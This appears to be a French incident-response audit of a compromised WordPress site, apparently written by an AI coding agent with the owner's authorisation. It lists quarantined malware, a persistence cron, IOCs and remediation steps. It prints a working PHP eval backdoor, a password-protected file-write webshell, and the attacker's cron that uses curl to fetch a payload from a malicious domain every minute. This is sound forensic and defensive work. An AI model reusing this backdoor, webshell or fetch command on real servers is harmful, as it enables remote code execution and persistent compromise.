# 🚨 Audit de compromission — toulouse-les-orgues.org

> **Serveur** : Scaleway `scw-sleepy-Apache` (51.158.96.239) — `/var/www/toulouse`
> **Date audit** : 2026-06-24
> **Auditeur** : Claude Code (en lecture seule + quarantaine non destructive, sur autorisation utilisateur)
> **Verdict** : site **compromis** par **≥ 2 acteurs distincts**. 4 fichiers malveillants + 1 cron de persistance.
> Core WordPress intègre, aucun compte admin pirate.

---

## 1. Malwares confirmés (4 fichiers)

### 🔴 BD-01 — Backdoor RCE (`eval`)
| | |
|---|---|
| **Chemin** | `wp-content/plugins/sitepress-multilingual-cms/addons/wpml-page-builders/vendor/jakeasmith/http_build_url/src/https_redirection-ru.php` |
| **SHA256** | `0b9970062942b24246da67d0eb61674bcfef8338c1584e948a0bb10863294408` |
| **Type** | Exécution de code à distance (RCE) |
| **Statut** | ✅ Quarantiné (`.quarantine-20260624`, chmod 000) |
```php
session_start(); $_SESSION['server']='';
function dam(){ $a=base64_encode($_REQUEST['msfacai']); if(isset($a)){ $b=base64_decode($a); return $b; } }
$file=''.dam().''; Include($file); eval(''.dam().'');   // ← code arbitraire via param HTTP 'msfacai'
```
> Déguisé dans un vendor légitime (`jakeasmith/http_build_url`) pour passer inaperçu.

### 🔴 BD-02 — Webshell d'écriture de fichiers (chinois)
| | |
|---|---|
| **Chemin** | `wp-content/uploads/2018/12/index.php` |
| **SHA256** | `ee80b5a3096817edf59376d43f1623f2fdab2c266c6f6b6643c0b279578ad613` |
| **Type** | Webshell — écriture de fichier arbitraire (mot de passe `msfacai`) |
| **Statut** | ✅ Quarantiné |
```php
$password="msfacai";
if ($_GET[pass]==$password){ if ($_POST){ $fo=fopen($_POST["lujing"],"w"); fwrite($fo,$_POST["neirong"]); } }
// lujing = chemin, neirong = contenu → écrit n'importe quel fichier sur le serveur
```

### 🔴 BD-03 — Kit malware `zzna.ru` (re-téléchargé par cron)
| | |
|---|---|
| **Chemin** | `wp-content/themes/toulouse-les-orgues/js/bx/vendor/jquery.fitvids.php` |
| **SHA256** | `f63c5a8c4f11553f345f5d2777142bee4bdc6368f2978d06fb68da4619279d4c` (rotait — variante `c54a148f9e92a6efa86c51dc1b70c1be9ae65503c7bb3666102852c43ea577fe`) |
| **Type** | `.php` déguisé en JS ; sert une fausse page Cloudflare liée au domaine malveillant **`wordpress.zzna.ru`** |
| **Statut** | ✅ Quarantiné (2 variantes : `-20260624`, `-20260624b`) |
> **Persistance** : recréé **chaque minute** par le cron BD-CRON (voir §2). Quarantaine inefficace tant que le cron vit → cron supprimé.

### 🔴 BD-04 — Hacktool « Unzipper »
| | |
|---|---|
| **Chemin** | `wp-content/uploads/2022/04/validationEngine.jquery.php` |
| **SHA256** | `138c83cbb7832bec97815db4a323554a9384f24c1ae37bc377249f0cac9a7bfe` |
| **Type** | Extracteur d'archives PHP (attec.toolbox "Unzipper") — sert à déployer d'autres malwares via `$_POST['zipfile']` |
| **Statut** | ✅ Quarantiné |

---

## 2. Mécanisme de persistance (cron)

### 🔴 BD-CRON — crontab `www-data`
```cron
* * * * * curl https://wordpress.zzna.ru/index.txt -o /var/www/toulouse/wp-content/themes/toulouse-les-orgues/js/bx/vendor/jquery.fitvids.php
```
- **Effet** : re-télécharge BD-03 **toutes les minutes** depuis `zzna.ru` → ré-infection automatique.
- **Statut** : ✅ **Supprimé** (sauvegarde : `/root/wwwdata-crontab.bak-20260624`).
- **Implication** : l'attaquant avait l'exécution de code en tant que `www-data` (via les webshells).

---

## 3. Indicateurs de compromission (IOC)
| IOC | Valeur |
|-----|--------|
| Domaine C2 / malveillant | **`wordpress.zzna.ru`** |
| Mot de passe / param backdoor | **`msfacai`** (réf. Metasploit) |
| Param HTTP RCE | `$_REQUEST['msfacai']`, `?pass=msfacai`, `$_POST[lujing]`, `$_POST[neirong]` |
| IP bloquée par AIOWPS | `43.205.136.134` |
| Fichiers `.php` déguisés en JS | `jquery.fitvids.php`, `validationEngine.jquery.php` |

---

## 4. Vérifié SAIN ✅
- **Core WordPress** : `wp core verify-checksums` → OK (aucun fichier core modifié).
- **Comptes admin** : 6, **tous légitimes** (confirmé utilisateur — IDs 11, 29, 28, 27, 5, 30).
- **Cron** : `root`, `/etc/cron.d/*`, système → propres (seul `www-data` était infecté).
- **`.htaccess`** : aucune injection (`auto_prepend`, handler, base64).
- **`wp-config.php`, `index.php`, `wp-load.php`, drop-ins** (`object-cache.php`, `advanced-cache.php`) : propres.
- **Options DB autoload** : propres (pas d'`eval`/`base64`/`<script>`/`zzna`).

## 5. Faux positifs écartés
- Session PHP sur chaque page = **code legit** du plugin custom `pepille_shortcode`
  (`require('includes/resultatArtistes.php')` → `session_start()` parasite L9). **Pas un malware** ;
  à corriger pour débloquer le cache (optimisation, pas sécurité).
- `uploads/aios/firewall-rules/settings.php` = config légitime All-In-One Security.
- `uploads/cache/wpml/twig/*.php` = cache Twig WPML légitime.
- `cache/*.php` (`die("Please use the viewer")`) = cache Smart Slider 3.
- Hits `eval`/`base64` dans Divi, WPML, predis, phpseclib, smart-slider = code de librairies légitime.

---

## 6. Reste à faire (remédiation — NON encore exécuté)
- [ ] **Rotation de TOUS les secrets** : mots de passe WP admin, **mot de passe DB**, **salts `wp-config`**, **clé/mot de passe SSH**.
- [ ] **Vecteur d'entrée** : identifier la faille initiale (upload arbitraire ? plugin vulnérable ? les webshells sont dans `uploads/` → suspicion d'upload non filtré ; l'injection dans le vendor WPML → vérifier version WPML / faille connue).
- [ ] **Scan DB approfondi** : `posts`/`postmeta` (scripts injectés, spam SEO), liens sortants cachés.
- [ ] **Durcissement** : bloquer l'exécution PHP dans `uploads/` (Apache `<Directory>` deny — partiellement déjà présent dans la vhost) et dans les `vendor/*/js`.
- [ ] **Suppression définitive** des fichiers en quarantaine (après confirmation) — le fichier WPML reviendra si WPML est réinstallé proprement.
- [ ] **Idéal** : restauration depuis une sauvegarde UpdraftPlus **antérieure à l'infection** (Google Drive) + réinstallation core/plugins depuis sources officielles.
- [ ] **RGPD** : site FR — si exfiltration de données perso, évaluer obligations de notification (CNIL).

---

## 7. Fichiers en quarantaine (récap)
```
.../http_build_url/src/https_redirection-ru.php.quarantine-20260624
wp-content/uploads/2018/12/index.php.quarantine-20260624
wp-content/uploads/2022/04/validationEngine.jquery.php.quarantine-20260624
.../js/bx/vendor/jquery.fitvids.php.quarantine-20260624
.../js/bx/vendor/jquery.fitvids.php.quarantine-20260624b
```
Sauvegarde cron : `/root/wwwdata-crontab.bak-20260624`

---

## 8. Backup pré-remédiation (2026-06-24)
> ⚠️ **Snapshot forensique — CONTIENT le malware. NE JAMAIS restaurer comme état sain.** Rollback d'urgence uniquement.

| Fichier | Taille | SHA256 |
|---------|--------|--------|
| `/root/backup-pre-remediation-20260624/db-COMPROMISED-20260624.sql.gz` | 8.8 Mo (93 Mo brut) | `39c5b074d121193f82ba9e48e952da2ee52b3c8830af035414ae3d9726d0d1dd` |
| `/root/backup-pre-remediation-20260624/site-COMPROMISED-20260624.tar.gz` | 9.7 Go | `7e81e56d5e0c9e0c1c67dc0bbd221aeb2495fa265939cccb4eaedaea443ac436` |

- Intégrité archive : `tar tzf` → **OK**. Backup complet (aucun cache exclu, uploads inclus, quarantaines incluses).
- Disque après backup : **7.8 Go libres (79%)** → tendu. **Recommandé : rapatrier les 2 fichiers hors serveur (scp)** avant de continuer.

---

## 9. IOC résiduel — `alfacgiapi` (découvert 2026-06-25)
- `wp-content/plugins/alfacgiapi/` présent sur la prod : **dossier VIDE** (aucun fichier), daté **Aug 1 2024**
  = période d'exploitation de la faille WPML (CVE-2024-6386). Carcasse d'un backdoor "alfa shell / cgi api"
  dont les fichiers ont été supprimés au nettoyage, mais le répertoire vide est resté.
- **Pas de menace active** (vide, aucun `.php`), mais **indicateur de compromission** confirmant le vecteur.
- Découvert pendant le rsync de migration (MIGRATION-01), pas via un scan dédié → suggère de **relancer une passe
  de recherche de carcasses vides** dans `wp-content/plugins` et `mu-plugins`.
- **Action recommandée (avec consentement)** : `rmdir` du dossier vide sur la prod + exclure ces husks des futurs rsync.
- ✅ **SUPPRIMÉ le 2026-06-25** (incident SECURITY-07).

---

## 10. Webshell résiduel `aioseo.php` — site encore compromis (2026-06-25)
Découvert par le scan multi-agents : **webshell d'upload actif** `/var/www/toulouse/aioseo.php` (public HTTP 200,
mot de passe `AsAjfkel!@`, `move_uploaded_file($_FILES['xaxa'])`), présent depuis **mars 2024**, **manqué** par la
remédiation du 24/06 (nom mimétique « AIOSEO »). Très probablement l'outil de la réinjection spam de sept. 2025.
+ exposition publique de nos `.bak` (creds DB rotés). **Remédiation complète + rotation secrets + durcissement vhost
+ vérifs (0 autre webshell, 0 injection DB, 0 admin rogue) → cf `SECURITY-07-incident-webshell-aioseo.md`.**
Quarantaine forensique locale : `backup/incident-20260625/`.
